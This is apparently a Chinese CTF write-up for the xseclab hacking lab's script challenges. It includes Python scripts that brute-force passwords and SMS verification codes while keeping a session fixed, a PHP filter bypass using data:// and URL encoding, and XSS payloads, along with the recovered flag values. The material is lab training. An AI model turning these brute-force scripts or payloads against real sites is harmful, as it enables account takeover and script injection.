网络安全实验室——脚本关

第一关

bp抓包,send直接获得key yougotit_script_now

第二关

明显需要写脚本,源代码如下

import requests
from lxml import etree
import re
import urllib.parse
from bs4 import BeautifulSoup
# print(response.read().decode('utf-8'))
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
response = s.get(url)
print(response.text)
caculate = str(re.findall('(.*?)=<input type="text" name="v"/>',response.text))
caculate = caculate.split()[1].split('\'')[0]
caculate = eval(caculate)
data = {"v": caculate}
a = s.post(url, data=data).content.decode('utf-8')
print(a)

获得key 123iohHKHJ%^&*(jkh

第三关

题目提示什么才是空的?

明显空就是null

第四关

查看页面源代码,发现js部分代码有问题

K_O__C@O_M_JLGZ0UHT`_EH.png

随后将其复制到本地,按照下图修改之后在本地运行

N2XQ35PF_BKQ68___OW8~_1.png

_73NUUBVQ_5_@_O_3L@ZAHH.png

输入key 的时候,去除开头的chars

第五关

尝试抓包,发现同一个验证码可以多次登录,因此保持session不变强行爆破password,源代码如下:

import re
import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=828c96a699987493ec6c55fab5795f63'}
for num in range(1000,10000):
  data = {'username':'admin',
          'pwd':num,
          'vcode':'C8Qc',
          'submit':'submit'}
  res=s.post(url,data=data,headers=head).content.decode('utf-8')
  if 'pwd error' in res:
      print (' pwd error')
  if 'vcode error' in res:
      print('vcode error')
  if 'error' not in res:
      print(num)
      print(res)
      break

获得登录密码1238

key is LJLJL789sdf#@sd

第六关

直接将第五关的代码中vcode参数值修改为'',即可

获得密码1228

key is LJLJL789ss33fasvxcvsdf#@sd

第七关

和第五关类似,不多说

第八关

点击“源代码”查看页面源代码

@H3L4_RQ31KXN7@UEQ@NGHO.jpg

可以看见其笑脸符号是(●'◡'●)

而其参数名称是^_^

且其中包含各种绕过:

1.必须对^^赋值 2.参数中不能有 . % [0-9] http https ftp telnet 这些东西 3.^^输入的值)这个字符串不能有 _ 这个字符(与1矛盾) 4.^_^必须是文件 5.file_exists ($GET[‘^^’])必须为0.也就是$GET[‘^^’]此文件不在本地存在 6.file_get_contents($*GET[‘^^])必须为”(●’◡’●)” 仔细分析可以发现,第3点与第1点矛盾了,既要对”^^”赋值,又得想办法去掉”^^”中的””,那么可以采用Url编码变为”%5f”.这样第3点就满足了.所以我们输入就应该为”^%5f^”.继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了,而第6点又要通过file_get_contents()取出$GET[‘^^’]里的值.而根据第5点,$GET[‘^^’]又必须不存在.所以$GET[‘^^’]只能是字符串”(●’◡’●)”,不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为”^%5f^=data:,(●’◡’●)” 另外对于3绕过还有方法:在URL中和.等价所以参数为^.^

而赋值时不可有下划线,所以使用%5f代替

5W18XK57LN__B2_TZ843XFK.png

获得key hkjasfhsa*&IUHKUH

data协议

2CD4LA7AmI.png

Data URI 的格式十分简单,如下所示: data:[<mime type>][;charset=<charset>][;base64],<encoded data> 第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。 第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx

第九关

直接测试可以发现弹出的验证码可以直接用于登录账号13388886667

key is LJLJLGod!@@sd

第十关

直接爆破,源代码如下:

import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
head = {'cookie': 'PHPSESSID=403d7d5c26f7ce9c3d319907de81cb76'}
for num in range(100, 1000):
  data = {'username':'13388886666',
          'vcode':str(num),
          'submit':'submit'}
  res=s.post(url,data=data,headers=head).content.decode('utf-8')
  if res != 'vcode or username error':
      print(res)
      break

并没有直接获得key

CB0HPSENSBBV9F23NGWZDY8.png

将得到的手机号以同样的方式进行爆破

得到key LKK8*(!@@sd

第十一关

未成功

第十二关

点击子系统后点击题目登录,之后进入index.php界面

查看页面源代码,之后点击进入xss_check.php

81PL_8M1`LNXGV_7BLW4M43.png

可以看见alert(HackingLab),提交

<script>alert(HackingLab)</script>

即可得到key is: myxssteststart!

第十三关

可以发现和上一关类似,但是提交相同的脚本会被检测出来

于是换一种方式,提交

<img src=# onerror=alert(HackingLab) />

得到key is: xss2test2you

第十四关

通过测试可以看到,页面过滤了大部分标签包括但不限于< <img > <script>

经过测试,发现仅有当value='alert'的时候才不会被过滤,发现使用单引号闭合之后可以使单引号之前的内容显示出来

alert' οnmοuseοver='alert(HackingLab)   #onmouseover:鼠标位于其上方时触发事件

可以触发事件

得到key is: xss3test2youOK_striptag

第十五关

暂时做不出来